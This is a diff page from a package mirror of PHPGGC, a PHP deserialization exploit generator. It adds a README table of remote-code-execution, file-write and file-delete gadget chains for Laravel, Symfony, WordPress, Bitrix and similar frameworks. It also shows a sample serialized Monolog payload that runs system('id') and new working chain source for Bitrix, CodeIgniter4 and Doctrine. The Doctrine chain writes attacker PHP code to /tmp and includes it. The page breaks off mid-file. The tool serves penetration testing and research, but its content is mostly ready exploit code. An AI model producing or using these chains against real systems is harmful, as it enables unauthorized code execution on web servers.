Codebase list phpggc / 1b66a9f
Import upstream version 0.20221219 Kali Janitor 1 year, 4 months ago
37 changed file(s) with 1828 addition(s) and 112 deletion(s). Raw diff Collapse all Expand all
0 FROM php:7.4-cli-alpine AS builder
0 FROM php:8.1-cli-alpine AS builder
1
2 RUN apk add python3 py3-pip curl
3
4 RUN curl -s https://getcomposer.org/installer | php -- --install-dir=/usr/bin/ --filename=composer
5
6 RUN alias composer='php /usr/bin/composer'
7
8 RUN pip install rich
19
210 COPY . /phpggc
311
1919 Gadget Chains
2020 -------------
2121
22 NAME VERSION TYPE VECTOR I
23 CakePHP/RCE1 ? <= 3.9.6 RCE (Command) __destruct
24 CakePHP/RCE2 ? <= 4.2.3 RCE (Function call) __destruct
25 CodeIgniter4/RCE1 4.0.0-beta.1 <= 4.0.0-rc.4 RCE (Function call) __destruct
26 CodeIgniter4/RCE2 4.0.0-rc.4 <= 4.0.4+ RCE (Function call) __destruct
27 CodeIgniter4/RCE3 -4.1.3+ RCE (Function call) __destruct
28 Doctrine/FW1 ? File write __toString *
29 Doctrine/FW2 2.3.0 <= 2.4.0 v2.5.0 <= 2.8.5 File write __destruct *
30 Dompdf/FD1 1.1.1 <= ? File delete __destruct *
31 Dompdf/FD2 ? < 1.1.1 File delete __destruct *
32 Drupal7/FD1 7.0 < ? File delete __destruct *
33 Drupal7/RCE1 7.0.8 < ? RCE (Function call) __destruct *
34 Guzzle/FW1 6.0.0 <= 6.3.3+ File write __destruct
35 Guzzle/INFO1 6.0.0 <= 6.3.2 phpinfo() __destruct *
36 Guzzle/RCE1 6.0.0 <= 6.3.2 RCE (Function call) __destruct *
37 Horde/RCE1 <= 5.2.22 RCE (PHP code) __destruct *
38 Kohana/FR1 3.* File read __toString *
39 Laminas/FD1 <= 2.11.2 File delete __destruct
40 Laminas/FW1 2.8.0 <= 3.0.x-dev File write __destruct *
41 Laravel/RCE1 5.4.27 RCE (Function call) __destruct
42 Laravel/RCE10 5.6.0 <= 9.1.8+ RCE (Function call) __toString
43 Laravel/RCE2 5.4.0 <= 8.6.9+ RCE (Function call) __destruct
44 Laravel/RCE3 5.5.0 <= 5.8.35 RCE (Function call) __destruct *
45 Laravel/RCE4 5.4.0 <= 8.6.9+ RCE (Function call) __destruct
46 Laravel/RCE5 5.8.30 RCE (PHP code) __destruct *
47 Laravel/RCE6 5.5.* <= 5.8.35 RCE (PHP code) __destruct *
48 Laravel/RCE7 ? <= 8.16.1 RCE (Function call) __destruct *
49 Laravel/RCE8 7.0.0 <= 8.6.9+ RCE (Function call) __destruct *
50 Laravel/RCE9 5.4.0 <= 9.1.8+ RCE (Function call) __destruct
51 Magento/FW1 ? <= 1.9.4.0 File write __destruct *
52 Magento/SQLI1 ? <= 1.9.4.0 SQL injection __destruct
53 Magento2/FD1 * File delete __destruct *
54 Monolog/FW1 3.0.0 <= 3.1.0+ File write __destruct *
55 Monolog/RCE1 1.4.1 <= 1.6.0 1.17.2 <= 2.7.0+ RCE (Function call) __destruct
56 Monolog/RCE2 1.4.1 <= 2.7.0+ RCE (Function call) __destruct
57 Monolog/RCE3 1.1.0 <= 1.10.0 RCE (Function call) __destruct
58 Monolog/RCE4 ? <= 2.4.4+ RCE (Command) __destruct *
59 Monolog/RCE5 1.25 <= 2.7.0+ RCE (Function call) __destruct
60 Monolog/RCE6 1.10.0 <= 2.7.0+ RCE (Function call) __destruct
61 Monolog/RCE7 1.10.0 <= 2.7.0+ RCE (Function call) __destruct *
62 Monolog/RCE8 3.0.0 <= 3.1.0+ RCE (Function call) __destruct *
63 Monolog/RCE9 3.0.0 <= 3.1.0+ RCE (Function call) __destruct *
64 Phalcon/RCE1 <= 1.2.2 RCE __wakeup *
65 PHPCSFixer/FD1 <= 2.17.3 File delete __destruct
66 PHPCSFixer/FD2 <= 2.17.3 File delete __destruct
67 PHPExcel/FD1 1.8.2+ File delete __destruct
68 PHPExcel/FD2 <= 1.8.1 File delete __destruct
69 PHPExcel/FD3 1.8.2+ File delete __destruct
70 PHPExcel/FD4 <= 1.8.1 File delete __destruct
71 PHPSecLib/RCE1 2.0.0 <= 2.0.34 RCE (PHP code) __destruct *
72 Pydio/Guzzle/RCE1 < 8.2.2 RCE (Function call) __toString
73 Slim/RCE1 3.8.1 RCE (Function call) __toString
74 Smarty/FD1 ? File delete __destruct
75 Smarty/SSRF1 ? SSRF __destruct *
76 SwiftMailer/FD1 -5.4.12+, -6.2.1+ File delete __destruct
77 SwiftMailer/FW1 5.1.0 <= 5.4.8 File write __toString
78 SwiftMailer/FW2 6.0.0 <= 6.0.1 File write __toString
79 SwiftMailer/FW3 5.0.1 File write __toString
80 SwiftMailer/FW4 4.0.0 <= ? File write __destruct
81 Symfony/FW1 2.5.2 File write DebugImport *
82 Symfony/FW2 3.4 File write __destruct
83 Symfony/RCE1 3.3 RCE (Command) __destruct *
84 Symfony/RCE2 2.3.42 < 2.6 RCE (PHP code) __destruct *
85 Symfony/RCE3 2.6 <= 2.8.32 RCE (PHP code) __destruct *
86 Symfony/RCE4 3.4.0-34, 4.2.0-11, 4.3.0-7 RCE (Function call) __destruct *
87 Symfony/RCE5 5.2.* RCE (Function call) __destruct
88 TCPDF/FD1 <= 6.3.5 File delete __destruct *
89 ThinkPHP/FW1 5.0.4-5.0.24 File write __destruct *
90 ThinkPHP/FW2 5.0.0-5.0.03 File write __destruct *
91 ThinkPHP/RCE1 5.1.x-5.2.x RCE (Function call) __destruct *
92 ThinkPHP/RCE2 5.0.24 RCE (Function call) __destruct *
93 Typo3/FD1 4.5.35 <= 10.4.1 File delete __destruct *
94 WordPress/Dompdf/RCE1 0.8.5+ & WP < 5.5.2 RCE (Function call) __destruct *
95 WordPress/Dompdf/RCE2 0.7.0 <= 0.8.4 & WP < 5.5.2 RCE (Function call) __destruct *
96 WordPress/Guzzle/RCE1 4.0.0 <= 6.4.1+ & WP < 5.5.2 RCE (Function call) __toString *
97 WordPress/Guzzle/RCE2 4.0.0 <= 6.4.1+ & WP < 5.5.2 RCE (Function call) __destruct *
98 WordPress/P/EmailSubscribers/RCE1 4.0 <= 4.4.7+ & WP < 5.5.2 RCE (Function call) __destruct *
99 WordPress/P/EverestForms/RCE1 1.0 <= 1.6.7+ & WP < 5.5.2 RCE (Function call) __destruct *
100 WordPress/P/WooCommerce/RCE1 3.4.0 <= 4.1.0+ & WP < 5.5.2 RCE (Function call) __destruct *
101 WordPress/P/WooCommerce/RCE2 <= 3.4.0 & WP < 5.5.2 RCE (Function call) __destruct *
102 WordPress/P/YetAnotherStarsRating/RCE1 ? <= 1.8.6 & WP < 5.5.2 RCE (Function call) __destruct *
103 WordPress/PHPExcel/RCE1 1.8.2+ & WP < 5.5.2 RCE (Function call) __toString *
104 WordPress/PHPExcel/RCE2 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __toString *
105 WordPress/PHPExcel/RCE3 1.8.2+ & WP < 5.5.2 RCE (Function call) __destruct *
106 WordPress/PHPExcel/RCE4 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __destruct *
107 WordPress/PHPExcel/RCE5 1.8.2+ & WP < 5.5.2 RCE (Function call) __destruct *
108 WordPress/PHPExcel/RCE6 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __destruct *
109 Yii/RCE1 1.1.20 RCE (Function call) __wakeup *
110 Yii2/RCE1 <2.0.38 RCE (Function call) __destruct *
111 Yii2/RCE2 <2.0.38 RCE (PHP code) __destruct *
112 ZendFramework/FD1 ? <= 1.12.20 File delete __destruct
113 ZendFramework/RCE1 ? <= 1.12.20 RCE (PHP code) __destruct *
114 ZendFramework/RCE2 1.11.12 <= 1.12.20 RCE (Function call) __toString *
115 ZendFramework/RCE3 2.0.1 <= ? RCE (Function call) __destruct
116 ZendFramework/RCE4 ? <= 1.12.20 RCE (PHP code) __destruct *
22 NAME VERSION TYPE VECTOR I
23 Bitrix/RCE1 17.x.x <= 22.0.300 RCE (Function call) __destruct
24 CakePHP/RCE1 ? <= 3.9.6 RCE (Command) __destruct
25 CakePHP/RCE2 ? <= 4.2.3 RCE (Function call) __destruct
26 CodeIgniter4/RCE1 4.0.2 <= 4.0.3 RCE (Function call) __destruct
27 CodeIgniter4/RCE2 4.0.0-rc.4 <= 4.0.4+ RCE (Function call) __destruct
28 CodeIgniter4/RCE3 -4.1.3+ RCE (Function call) __destruct
29 CodeIgniter4/RCE4 4.0.0-beta.1 <= 4.0.0-rc.4 RCE (Function call) __destruct
30 Doctrine/FW1 ? File write __toString *
31 Doctrine/FW2 2.3.0 <= 2.4.0 v2.5.0 <= 2.8.5 File write __destruct *
32 Doctrine/RCE1 1.5.1 <= 2.7.2 RCE (PHP code) __destruct *
33 Doctrine/RCE2 1.11.0 <= 2.3.2 RCE (Function call) __destruct *
34 Dompdf/FD1 1.1.1 <= ? File delete __destruct *
35 Dompdf/FD2 ? < 1.1.1 File delete __destruct *
36 Drupal7/FD1 7.0 < ? File delete __destruct *
37 Drupal7/RCE1 7.0.8 < ? RCE (Function call) __destruct *
38 Guzzle/FW1 6.0.0 <= 6.3.3+ File write __destruct
39 Guzzle/INFO1 6.0.0 <= 6.3.2 phpinfo() __destruct *
40 Guzzle/RCE1 6.0.0 <= 6.3.2 RCE (Function call) __destruct *
41 Horde/RCE1 <= 5.2.22 RCE (PHP code) __destruct *
42 Kohana/FR1 3.* File read __toString *
43 Laminas/FD1 <= 2.11.2 File delete __destruct
44 Laminas/FW1 2.8.0 <= 3.0.x-dev File write __destruct *
45 Laravel/RCE1 5.4.27 RCE (Function call) __destruct
46 Laravel/RCE2 5.4.0 <= 8.6.9+ RCE (Function call) __destruct
47 Laravel/RCE3 5.5.0 <= 5.8.35 RCE (Function call) __destruct *
48 Laravel/RCE4 5.4.0 <= 8.6.9+ RCE (Function call) __destruct
49 Laravel/RCE5 5.8.30 RCE (PHP code) __destruct *
50 Laravel/RCE6 5.5.* <= 5.8.35 RCE (PHP code) __destruct *
51 Laravel/RCE7 ? <= 8.16.1 RCE (Function call) __destruct *
52 Laravel/RCE8 7.0.0 <= 8.6.9+ RCE (Function call) __destruct *
53 Laravel/RCE9 5.4.0 <= 9.1.8+ RCE (Function call) __destruct
54 Laravel/RCE10 5.6.0 <= 9.1.8+ RCE (Function call) __toString
55 Laravel/RCE11 5.4.0 <= 9.1.8+ RCE (Function call) __destruct
56 Laravel/RCE12 5.8.35, 7.0.0, 9.3.10 RCE (Function call) __destruct *
57 Magento/FW1 ? <= 1.9.4.0 File write __destruct *
58 Magento/SQLI1 ? <= 1.9.4.0 SQL injection __destruct
59 Magento2/FD1 * File delete __destruct *
60 Monolog/FW1 3.0.0 <= 3.1.0+ File write __destruct *
61 Monolog/RCE1 1.4.1 <= 1.6.0 1.17.2 <= 2.7.0+ RCE (Function call) __destruct
62 Monolog/RCE2 1.4.1 <= 2.7.0+ RCE (Function call) __destruct
63 Monolog/RCE3 1.1.0 <= 1.10.0 RCE (Function call) __destruct
64 Monolog/RCE4 ? <= 2.4.4+ RCE (Command) __destruct *
65 Monolog/RCE5 1.25 <= 2.7.0+ RCE (Function call) __destruct
66 Monolog/RCE6 1.10.0 <= 2.7.0+ RCE (Function call) __destruct
67 Monolog/RCE7 1.10.0 <= 2.7.0+ RCE (Function call) __destruct *
68 Monolog/RCE8 3.0.0 <= 3.1.0+ RCE (Function call) __destruct *
69 Monolog/RCE9 3.0.0 <= 3.1.0+ RCE (Function call) __destruct *
70 Phalcon/RCE1 <= 1.2.2 RCE __wakeup *
71 PHPCSFixer/FD1 <= 2.17.3 File delete __destruct
72 PHPCSFixer/FD2 <= 2.17.3 File delete __destruct
73 PHPExcel/FD1 1.8.2+ File delete __destruct
74 PHPExcel/FD2 <= 1.8.1 File delete __destruct
75 PHPExcel/FD3 1.8.2+ File delete __destruct
76 PHPExcel/FD4 <= 1.8.1 File delete __destruct
77 PHPSecLib/RCE1 2.0.0 <= 2.0.34 RCE (PHP code) __destruct *
78 Pydio/Guzzle/RCE1 < 8.2.2 RCE (Function call) __toString
79 Slim/RCE1 3.8.1 RCE (Function call) __toString
80 Smarty/FD1 ? File delete __destruct
81 Smarty/SSRF1 ? SSRF __destruct *
82 Spiral/RCE1 2.7.0 <= 2.8.13 RCE (Function call) __destruct
83 Spiral/RCE2 -2.8+ RCE (Function call) __destruct *
84 SwiftMailer/FD1 -5.4.12+, -6.2.1+ File delete __destruct
85 SwiftMailer/FW1 5.1.0 <= 5.4.8 File write __toString
86 SwiftMailer/FW2 6.0.0 <= 6.0.1 File write __toString
87 SwiftMailer/FW3 5.0.1 File write __toString
88 SwiftMailer/FW4 4.0.0 <= ? File write __destruct
89 Symfony/FW1 2.5.2 File write DebugImport *
90 Symfony/FW2 3.4 File write __destruct
91 Symfony/RCE1 3.3 RCE (Command) __destruct *
92 Symfony/RCE2 2.3.42 < 2.6 RCE (PHP code) __destruct *
93 Symfony/RCE3 2.6 <= 2.8.32 RCE (PHP code) __destruct *
94 Symfony/RCE4 3.4.0-34, 4.2.0-11, 4.3.0-7 RCE (Function call) __destruct *
95 Symfony/RCE5 5.2.* RCE (Function call) __destruct
96 Symfony/RCE6 v3.4.0-BETA4 <= v3.4.49 & v4.0.0-BETA4 <= v4.1.13 RCE (Command) __destruct *
97 TCPDF/FD1 <= 6.3.5 File delete __destruct *
98 ThinkPHP/FW1 5.0.4-5.0.24 File write __destruct *
99 ThinkPHP/FW2 5.0.0-5.0.03 File write __destruct *
100 ThinkPHP/RCE1 5.1.x-5.2.x RCE (Function call) __destruct *
101 ThinkPHP/RCE2 5.0.24 RCE (Function call) __destruct *
102 Typo3/FD1 4.5.35 <= 10.4.1 File delete __destruct *
103 WordPress/Dompdf/RCE1 0.8.5+ & WP < 5.5.2 RCE (Function call) __destruct *
104 WordPress/Dompdf/RCE2 0.7.0 <= 0.8.4 & WP < 5.5.2 RCE (Function call) __destruct *
105 WordPress/Guzzle/RCE1 4.0.0 <= 6.4.1+ & WP < 5.5.2 RCE (Function call) __toString *
106 WordPress/Guzzle/RCE2 4.0.0 <= 6.4.1+ & WP < 5.5.2 RCE (Function call) __destruct *
107 WordPress/P/EmailSubscribers/RCE1 4.0 <= 4.4.7+ & WP < 5.5.2 RCE (Function call) __destruct *
108 WordPress/P/EverestForms/RCE1 1.0 <= 1.6.7+ & WP < 5.5.2 RCE (Function call) __destruct *
109 WordPress/P/WooCommerce/RCE1 3.4.0 <= 4.1.0+ & WP < 5.5.2 RCE (Function call) __destruct *
110 WordPress/P/WooCommerce/RCE2 <= 3.4.0 & WP < 5.5.2 RCE (Function call) __destruct *
111 WordPress/P/YetAnotherStarsRating/RCE1 ? <= 1.8.6 & WP < 5.5.2 RCE (Function call) __destruct *
112 WordPress/PHPExcel/RCE1 1.8.2+ & WP < 5.5.2 RCE (Function call) __toString *
113 WordPress/PHPExcel/RCE2 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __toString *
114 WordPress/PHPExcel/RCE3 1.8.2+ & WP < 5.5.2 RCE (Function call) __destruct *
115 WordPress/PHPExcel/RCE4 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __destruct *
116 WordPress/PHPExcel/RCE5 1.8.2+ & WP < 5.5.2 RCE (Function call) __destruct *
117 WordPress/PHPExcel/RCE6 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __destruct *
118 Yii/RCE1 1.1.20 RCE (Function call) __wakeup *
119 Yii2/RCE1 <2.0.38 RCE (Function call) __destruct *
120 Yii2/RCE2 <2.0.38 RCE (PHP code) __destruct *
121 ZendFramework/FD1 ? <= 1.12.20 File delete __destruct
122 ZendFramework/RCE1 ? <= 1.12.20 RCE (PHP code) __destruct *
123 ZendFramework/RCE2 1.11.12 <= 1.12.20 RCE (Function call) __toString *
124 ZendFramework/RCE3 2.0.1 <= ? RCE (Function call) __destruct
125 ZendFramework/RCE4 ? <= 1.12.20 RCE (PHP code) __destruct *
126 ZendFramework/RCE5 2.0.0rc2 <= 2.5.3 RCE (Function call) __destruct
117127 ```
118128
119129 Filter gadget chains:
135145 Laravel/RCE7 ? <= 8.16.1 RCE (Function call) __destruct *
136146 Laravel/RCE8 7.0.0 <= 8.6.9+ RCE (Function call) __destruct *
137147 Laravel/RCE9 5.4.0 <= 9.1.8+ RCE (Function call) __destruct
138
139148 ```
140149
141150 Every gadget chain has:
327336 └─────────────────┴─────────┴──────────────┴──────────────┘
328337 ```
329338
339 You can specify the versions you want to test by using the following syntaxe.
340
341 ```
342 $ ./test-gc-compatibility.py monolog/monolog:2.3.0,1.25.4 monolog/rce1 monolog/rce3
343 Testing 2 versions for monolog/monolog against 2 gadget chains.
344
345 ┏━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┓
346 ┃ monolog/monolog ┃ Package ┃ monolog/rce1 ┃ monolog/rce3 ┃
347 ┡━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━┩
348 │ 2.3.0 │ OK │ OK │ KO │
349 │ 1.25.4 │ OK │ OK │ KO │
350 └─────────────────┴─────────┴──────────────┴──────────────┘
351 ```
352
330353 # API
331354
332355 Instead of using PHPGGC as a command line tool, you can program PHP scripts:
389412
390413 # Docker
391414
392 If you don't want to install PHP, you can use `docker build`.
393
415 If you don't want to install PHP, you can use `docker build . -t 'phpggc'`.
416
417 To generate a gadget chain.
418
419 ```
420 $ docker run phpggc Monolog/rce1 'system' 'id'
421 O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:2:"id";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"system";}}}
422 ```
423
424 To run `test-gc-compatibility.py` from docker.
425 ```
426 $ docker run --entrypoint './test-gc-compatibility.py' phpggc doctrine/doctrine-bundle:2.2,2.7.2 doctrine/rce1 doctrine/rce2
427 Runing on PHP version ('PHP 8.1.13 (cli) (built: Nov 30 2022 21:53:44) (NTS).
428 Testing 2 versions for doctrine/doctrine-bundle against 2 gadget chains.
429
430 ┏━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━┓
431 ┃ doctrine/doctrine-bundle ┃ Package ┃ doctrine/rce1 ┃ doctrine/rce2 ┃
432 ┡━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━┩
433 │ 2.2 │ OK │ OK │ OK │
434 │ 2.7.2 │ OK │ OK │ KO │
435 └──────────────────────────┴─────────┴───────────────┴───────────────┘
436 ```
394437
395438 # License
396439
0 <?php
1
2 namespace GadgetChain\Bitrix;
3
4 class RCE1 extends \PHPGGC\GadgetChain\RCE\FunctionCall
5 {
6 public static $version = '17.x.x <= 22.0.300';
7 public static $vector = '__destruct';
8 public static $author = 'crlf';
9
10 public function generate(array $parameters)
11 {
12 $function = $parameters['function'];
13 $parameter = $parameters['parameter'];
14
15 return new \Bitrix\Main\ORM\Data\Result(
16 new \Bitrix\Main\Type\Dictionary(
17 new \Bitrix\Main\Error(
18 new \Bitrix\Main\UI\Viewer\ItemAttributes(
19 new \Bitrix\Main\DB\ResultIterator(
20 new \Bitrix\Main\DB\ArrayResult(
21 $function, $parameter
22 )
23 )
24 )
25 )
26 )
27 );
28 }
29 }
0 <?php
1
2 namespace Bitrix\Main {
3 class Result
4 {
5 protected $errors;
6
7 public function __construct(object $Dictionary)
8 {
9 $this->errors = $Dictionary;
10 }
11 }
12
13 class Error {
14 protected $message;
15
16 public function __construct(object $ItemAttributes)
17 {
18 $this->message = $ItemAttributes;
19 }
20 }
21 }
22
23 namespace Bitrix\Main\ORM\Data {
24 class Result extends \Bitrix\Main\Result
25 {
26 protected $isSuccess = false;
27 protected $wereErrorsChecked = false;
28
29 public function __construct(object $Dictionary)
30 {
31 parent::__construct($Dictionary);
32 }
33 }
34 }
35
36 namespace Bitrix\Main\Type {
37 class Dictionary
38 {
39 protected $values;
40
41 public function __construct(object $Error)
42 {
43 $this->values = [$Error];
44 }
45 }
46 }
47
48 namespace Bitrix\Main\UI\Viewer {
49 class ItemAttributes
50 {
51 protected $attributes;
52
53 public function __construct(object $ResultIterator)
54 {
55 $this->attributes = $ResultIterator;
56 }
57 }
58 }
59
60 namespace Bitrix\Main\DB {
61 class ResultIterator
62 {
63 private $counter = 0;
64 private $currentData = 0;
65 private $result;
66
67 public function __construct(object $ArrayResult)
68 {
69 $this->result = $ArrayResult;
70 }
71 }
72
73 class ArrayResult
74 {
75 protected $resource;
76 protected $converters;
77
78 public function __construct(string $function, string $parameter)
79 {
80 $this->converters = [$function, 'WriteFinalMessage'];
81 $this->resource = [[$parameter], [['rce']]];
82 }
83 }
84 }
33
44 class RCE1 extends \PHPGGC\GadgetChain\RCE\FunctionCall
55 {
6 public static $version = '4.0.0-beta.1 <= 4.0.0-rc.4';
6 public static $version = '4.0.2 <= 4.0.3';
77 public static $vector = '__destruct';
88 public static $author = 'eboda';
99
0 <?php
1
2 namespace GadgetChain\CodeIgniter4;
3
4 class RCE4 extends \PHPGGC\GadgetChain\RCE\FunctionCall
5 {
6 public static $version = '4.0.0-beta.1 <= 4.0.0-rc.4';
7 public static $vector = '__destruct';
8 public static $author = 'eboda';
9
10 public function generate(array $parameters)
11 {
12 $function = $parameters['function'];
13 $parameter = $parameters['parameter'];
14
15 return new \CodeIgniter\Cache\Handlers\RedisHandler($function, $parameter);
16 }
17 }
0 <?php
1
2 namespace CodeIgniter\Cache\Handlers
3 {
4 class RedisHandler
5 {
6 protected $redis;
7
8 public function __construct($func, $param)
9 {
10 $this->redis = new \CodeIgniter\Session\Handlers\MemcachedHandler(
11 new \CodeIgniter\Model(
12 new \CodeIgniter\Database\BaseBuilder,
13 new \CodeIgniter\Validation\Validation,
14 $func
15 ),
16 $param
17 );
18 }
19 }
20 }
21
22 namespace CodeIgniter\Session\Handlers
23 {
24 class MemcachedHandler
25 {
26 protected $memcached;
27 protected $lockKey;
28
29 public function __construct($memcached, $param)
30 {
31 $this->lockKey = $param;
32 $this->memcached = $memcached;
33 }
34 }
35 }
36
37 namespace CodeIgniter
38 {
39 class Model
40 {
41 protected $builder;
42 protected $primaryKey;
43 protected $beforeDelete;
44 protected $validationRules;
45 protected $validation;
46
47 public function __construct($builder, $validation, $func)
48 {
49 $this->builder = $builder;
50 $this->primaryKey = null;
51
52 $this->beforeDelete = array();
53 $this->beforeDelete[] = "validate";
54
55 $this->validation = $validation;
56 $this->validationRules = array(
57 "id" => array($func)
58 );
59 }
60 }
61 }
62
63 namespace CodeIgniter\Validation
64 {
65 class Validation
66 {
67 protected $ruleSetFiles;
68
69 public function __construct()
70 {
71 $this->ruleSetFiles = array("finfo");
72 }
73 }
74 }
75
76 namespace CodeIgniter\Database
77 {
78 class BaseBuilder
79 {
80 }
81 }
0 <?php
1
2 namespace GadgetChain\CodeIgniter4;
3
4 class RCE5 extends \PHPGGC\GadgetChain\RCE\FunctionCall
5 {
6 public static $version = '-4.1.3+';
7 public static $vector = '__destruct';
8 public static $author = 'CyanM0un';
9
10 public function generate(array $parameters)
11 {
12 $function = $parameters['function'];
13 $parameter = $parameters['parameter'];
14
15 return new \Predis\Connection\StreamConnection($function, $parameter);
16 }
17 }
0 <?php
1
2 namespace Predis\Connection
3 {
4 class StreamConnection
5 {
6 protected $parameters;
7
8 function __construct($function, $paramter)
9 {
10 $this->parameters = new \CodeIgniter\Entity\Entity($function, $paramter);
11 }
12 }
13 }
14
15 namespace CodeIgniter\Entity
16 {
17 class Entity
18 {
19 protected $datamap;
20
21 function __construct($function, $parameter)
22 {
23 $this->datamap = ["persistent" => new \Symfony\Component\HttpFoundation\Request($function, $parameter)];
24 }
25 }
26 }
27
28 namespace Symfony\Component\HttpFoundation
29 {
30 class Request
31 {
32 public $server;
33 public $cookies;
34
35 function __construct($function, $paramter)
36 {
37 $this->cookies = ["key" => "value"];
38 $this->server = new \Symfony\Component\DependencyInjection\Argument\ServiceLocator($function, $paramter);
39 }
40 }
41 }
42
43 namespace Symfony\Component\DependencyInjection\Argument
44 {
45 class ServiceLocator
46 {
47 private $serviceMap;
48 private $factory;
49
50 function __construct($function, $paramter)
51 {
52 $this->factory = "call_user_func";
53 $this->serviceMap = ["REQUEST_METHOD" => [$function, $paramter]];
54 }
55 }
56 }
0 <?php
1
2 namespace GadgetChain\CodeIgniter4;
3
4 class RCE6 extends \PHPGGC\GadgetChain\RCE\FunctionCall
5 {
6 public static $version = '-4.1.3 <= 4.2.10+';
7 public static $vector = '__destruct';
8 public static $author = 'CyanM0un';
9
10 public function generate(array $parameters)
11 {
12 $function = $parameters['function'];
13 $parameter = $parameters['parameter'];
14
15 return new \Predis\Response\Iterator\MultiBulk($function, $parameter);
16 }
17 }
0 <?php
1 namespace Predis\Response\Iterator{
2 class MultiBulk{
3 protected $position;
4 protected $size;
5 private $connection;
6
7 function __construct($function,$paramter)
8 {
9 $this->connection = new \Faker\ValidGenerator($function,$paramter);
10 $this->position = 0;
11 $this->size = 1;
12 }
13 }
14 }
15
16 namespace Faker{
17 class ValidGenerator{
18 protected $generator;
19 protected $maxRetries;
20 protected $validator;
21
22 function __construct($function,$param)
23 {
24 $this->maxRetries = 1;
25 $this->validator = $function;
26 $this->generator = new \Faker\DefaultGenerator($param);
27 }
28 }
29
30 class DefaultGenerator{
31 protected $default;
32
33 function __construct($param)
34 {
35 $this->default = $param;
36 }
37 }
38 }
0 <?php
1
2 namespace GadgetChain\Doctrine;
3
4 use Doctrine\Common\Cache\Psr6\CacheAdapter;
5 use Doctrine\Common\Cache\Psr6\TypedCacheItem;
6 use Doctrine\Common\Cache\Psr6\CacheItem;
7 use Symfony\Component\Cache\Adapter\PhpArrayAdapter;
8 use Symfony\Component\Cache\Adapter\ProxyAdapter;
9 use Symfony\Component\HttpFoundation\Session\Storage\MockFileSessionStorage;
10 use Symfony\Component\HttpFoundation\Session\Storage\MetadataBag;
11
12
13 class RCE1 extends \PHPGGC\GadgetChain\RCE\PHPCode
14 {
15 public static $version = '1.5.1 <= 2.7.2';
16 public static $vector = '__destruct';
17 public static $author = 'Remsio';
18 public static $information =
19 'Based on package doctrine/doctrine-bundle, the Symfony bundle for doctrine.
20 The chain is based on one chain to write, and on another one to include.
21 Be careful, the POP chain differs depending on the PHP version';
22
23 /**
24 * Fast destruct implementation for both chains, mandatory to make sure the payload triggers correctly
25 */
26 public function process_serialized($serialized)
27 {
28
29 $find_write = (
30 '#i:(' .
31 1001 . '|' .
32 (1001 + 1) .
33 ');#'
34 );
35 $replace_write = 'i:' . 1000 . ';';
36 $serialized2 = preg_replace($find_write, $replace_write, $serialized);
37 $find_include = (
38 '#i:(' .
39 2001 . '|' .
40 (2001 + 1) .
41 ');#'
42 );
43 $replace_include = 'i:' . 2000 . ';';
44 return preg_replace($find_include, $replace_include, $serialized2);
45 }
46
47 public function generate(array $parameters)
48 {
49 $code = $parameters['code'];
50 /* CacheItem is compatible with PHP 7.*, TypedCacheItem is compatible with PHP 8.* */
51 if (preg_match('/^7/', phpversion()))
52 {
53 $firstCacheItem = new CacheItem();
54 $secondCacheItem = new CacheItem();
55 }
56 else
57 {
58 $firstCacheItem = new TypedCacheItem();
59 $secondCacheItem = new TypedCacheItem();
60 }
61 echo phpversion();
62
63 /* File write */
64 $obj_write = new CacheAdapter();
65 $mockFileSessionStorage = new MockFileSessionStorage();
66 $mockFileSessionStorage->data = ['<?php '. $code. ' ?>']; // Content put in the file
67 $mockFileSessionStorage->metadataBag = new MetadataBag();
68 $obj_write->cache = $mockFileSessionStorage;
69 $obj_write->deferredItems = [$firstCacheItem];
70
71 /* File inclusion */
72 $obj_include = new CacheAdapter();
73 $proxyAdapter = new ProxyAdapter();
74 $proxyAdapter->pool = new PhpArrayAdapter();
75 $obj_include->cache = $proxyAdapter;
76 $cacheItem = $secondCacheItem;
77 $cacheItem->expiry = 0; // mandatory to go to another branch from CacheAdapter __destruct
78 $obj_include->deferredItems = [$cacheItem];
79 $obj = [1000 => $obj_write, 1001 => 1, 2000 => $obj_include, 2001 => 1];
80 return $obj;
81 }
82 }
0 <?php
1
2 namespace Doctrine\Common\Cache\Psr6
3 {
4 class CacheAdapter
5 {
6 public $deferredItems = true;
7 public $loader = 1;
8 }
9
10 class TypedCacheItem
11 {
12 public $expiry = 99999999999999999;
13 public $value = "test";
14 }
15
16 class CacheItem
17 {
18 public $expiry = 99999999999999999;
19 public $value = "test";
20 }
21
22 }
23
24 namespace Symfony\Component\Cache\Adapter
25 {
26 class PhpArrayAdapter
27 {
28 public $file = "/tmp/aaa.mocksess"; // fixed at the time
29 }
30
31 class ProxyAdapter
32 {
33 }
34 }
35
36
37 namespace Symfony\Component\HttpFoundation\Session\Storage
38 {
39 class MockFileSessionStorage
40 {
41 public $started = true;
42 public $savePath = "/tmp"; // Produces /tmp/aaa.mocksess
43 public $id = "aaa";
44 }
45
46 class MetadataBag
47 {
48 public $storageKey = "a";
49 }
50 }
0 <?php
1
2 namespace GadgetChain\Doctrine;
3
4 use Doctrine\Common\Cache\Psr6\CacheAdapter;
5 use Symfony\Component\Cache\Traits\RedisProxy;
6 use Doctrine\Bundle\DoctrineBundle\Dbal\SchemaAssetsFilterManager;
7
8 class RCE2 extends \PHPGGC\GadgetChain\RCE\FunctionCall
9 {
10 public static $version = '1.11.0 <= 2.3.2';
11 public static $vector = '__destruct';
12 public static $author = 'Remsio';
13 public static $information =
